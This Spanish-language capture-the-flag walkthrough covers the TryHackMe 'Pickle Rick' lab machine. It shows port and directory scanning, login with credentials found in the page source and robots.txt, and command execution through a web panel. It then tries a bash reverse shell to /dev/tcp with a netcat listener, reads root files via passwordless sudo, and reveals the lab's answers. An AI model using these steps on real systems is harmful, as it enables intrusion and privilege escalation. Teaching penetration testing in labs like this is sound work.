Pickle Rick - TryHackMe
❯ ping -c 1 10.10.136.234
PING 10.10.136.234 (10.10.136.234) 56(84) bytes of data.
64 bytes from 10.10.136.234: icmp_seq=1 ttl=61 time=463 ms
--- 10.10.136.234 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 462.876/462.876/462.876/0.000 ms
❯ whichSystem.py 10.10.136.234
10.10.136.234 (ttl -> 61): Linux
PortScan
❯ nmap -sCV -p22,80 10.10.136.234 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-03 13:01 CST
Nmap scan report for 10.10.136.234
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 9828b8ef2be01ade352c2f290d85ec6b (RSA)
| 256 82581151eaa21e774c656f0b2d87580f (ECDSA)
|_ 256 6191e8dadcaf7bc3327255efe58cb122 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.90 seconds
❯ nmap --script=http-enum -p80 10.10.136.234 -oN webScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-03 13:03 CST
Nmap scan report for 10.10.136.234
Host is up (0.20s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /login.php: Possible admin folder
|_ /robots.txt: Robots file
Nmap done: 1 IP address (1 host up) scanned in 22.22 seconds
Enumeration
❯ whatweb http://10.10.136.234
http://10.10.136.234 [200 OK] Apache[2.4.18], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.136.234], JQuery, Script, Title[Rick is sup4r cool]
Y bueno en la web le estan diciendo a Morty
que le ayude a encontrar los ingredientes para acabar su posion pero que el unico problema es que no sabe donde esta su contraseña
Si vemos el codigo fuente vemos que encontramos credenciales
Username:R1ckRul3s
Al tener un usuario podemos hacer fuerza bruta para encontrar la contraseña ya que el puerto 22
esta abierto vamos a seguir enumerando
Nmap
nos resporta rutas interesantes
Encontramos esto en la ruta robots.txt
no se si sea una contraseña ya que es un CTF
pero por si acaso vamos a guardarla
Wubbalubbadubdub
Ahora vemos un panel de login
Esta usundo php
asi que podemos fuzzear por otras rutas existentes
Encontramos rutas que ya habiamos visto la ruta portal.php
nos redirige a login.php
❯ gobuster dir -u http://10.10.136.234 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 90 -x php,txt,html --add-slash
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.136.234
[+] Method: GET
[+] Threads: 90
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt,html
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2023/03/03 13:15:48 Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 200) [Size: 882]
/index.html (Status: 200) [Size: 1062]
/icons/ (Status: 403) [Size: 294]
/assets/ (Status: 200) [Size: 2192]
/portal.php (Status: 302) [Size: 0] [--> /login.php]
En la ruta assets
vemos esto
Vamos a probar el usuario que nos dieron para ver si es correcto
Si probamos lo que encontramos nos deja conectarnos y esta es la web
R1ckRul3s:Wubbalubbadubdub
Si empezamos a ver lo que hay encontramos esto en Potions
Si vemos todo nos redirige a /denied.php
exepto Commands
Bueno si vemos el codigo fuente portal.php
al logiarnos al parecer vemos algo en base64
Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==
Despues de decodar varias veces la cadena ya que cada que decodeabas de daba otra llegamos a este resultado
❯ echo 'cmFiYml0IGhvbGU=' | base64 -d
rabbit hole
Y bueno nada interesante vamos a ver que es lo que podemos hacer en el apartado de comands
Estamos ejecutando comandos como www-data
Si hacemos un ls -la
vemos que hay un archivo .txt
Si lo vemos en la web encontramos esto
Si hacemos un hostname -i
estamos ejecutando comandos en la maquina victima asi que para enumerar mejor vamos a ganar acceso
❯ nc -nlvp 443
listening on [any] 443 ...
Usaremos este oneliner
que pondremos en la parte donde escribimos comandos
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Vale al probar varios oneliners
y ademas poniendo el &
a %26
la web me dice esto
Asi que vamos a tener que descubrir los 2 ingredentes faltantes desde esa parte de la web
Cuando hicimos un ls -la
nos mostro otro archivo llamado clue.txt
vamos a ver que encontramos hay
Si ejecutamos este comando cd /home;ls -la;pwd
vemos estos usuarios
Si ejecutamos el comando cd /home/rick;ls -la;pwd
vemos el segundo ingrediente
total 12
drwxrwxrwx 2 root root 4096 Feb 10 2019 .
drwxr-xr-x 4 root root 4096 Feb 10 2019 ..
-rwxrwxrwx 1 root root 13 Feb 10 2019 second ingredients
/home/rick
Si ejecutamos este comando less /home/rick/"second ingredients"
podemos ver el ingrediente
1 jerry tear
Ahora solo nos falta el ultimo
Bueno algo a saber es que si hacemos un sudo -l
podemos ejecutar cualquier comando como www-data
sin proporcionar contraseña
Matching Defaults entries for www-data on ip-10-10-136-234.eu-west-1.compute.internal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ip-10-10-136-234.eu-west-1.compute.internal:
(ALL) NOPASSWD: ALL
Asi que ahora supongo que el ultimo ingrediente esta en la ruta de root
Si ejecutamos este comando sudo ls -la /root
vemos el 3rd.txt
asi vamos a leerla
sudo less /root/3rd.txt
3rd ingredients: fleeb juice
Intente ver la id_rsa de root
pero no me dejo me dio el mismo error de command disabled
sudo cat /root/.ssh/authorized_keys